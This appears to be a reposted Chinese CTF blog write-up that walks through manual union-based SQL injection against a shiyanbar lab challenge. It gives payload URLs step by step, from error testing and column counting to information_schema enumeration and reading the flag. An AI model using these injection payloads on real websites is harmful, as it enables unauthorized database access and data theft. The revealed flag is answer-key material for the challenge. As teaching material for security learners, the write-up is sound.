实验吧 sql注入

题目链接:http://ctf5.shiyanbar.com/8/index.php?id=1 在这里插入图片描述

手动注入

  1. 判断是否存在sql注入
    ctf5.shiyanbar.com/8/index.php?id=1' 报错
    在这里插入图片描述
    ctf5.shiyanbar.com/8/index.php?id=1 and 1=1 正常打开
    在这里插入图片描述 ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 正常打开在这里插入图片描述
    存在sql注入

  2. 判断POC
    http://ctf5.shiyanbar.com/8/index.php?id=1 or 1=1
    在这里插入图片描述

  3. 查询字段数
    http://ctf5.shiyanbar.com/8/index.php?id=1 order by 1 正常显示在这里插入图片描述
    http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2 正常显示在这里插入图片描述 http://ctf5.shiyanbar.com/8/index.php?id=1 order by 3 报错在这里插入图片描述
    字段数为2

  4. 查询数据库
    http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,schema_name from information_schema.schemata limit 0,2 在这里插入图片描述
    查到数据库 my_db

  5. 查询数据表
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_schema,table_name from information_schema.tables
    在这里插入图片描述
    查到数据表 thiskey

  6. 查询表
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns在这里插入图片描述
    查到表 k0y

  7. 读取值
    http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey
    在这里插入图片描述

    读到值 whatiMyD91dump

猜你喜欢

转载自blog.csdn.net/weixin_44481102/article/details/88769933
今日推荐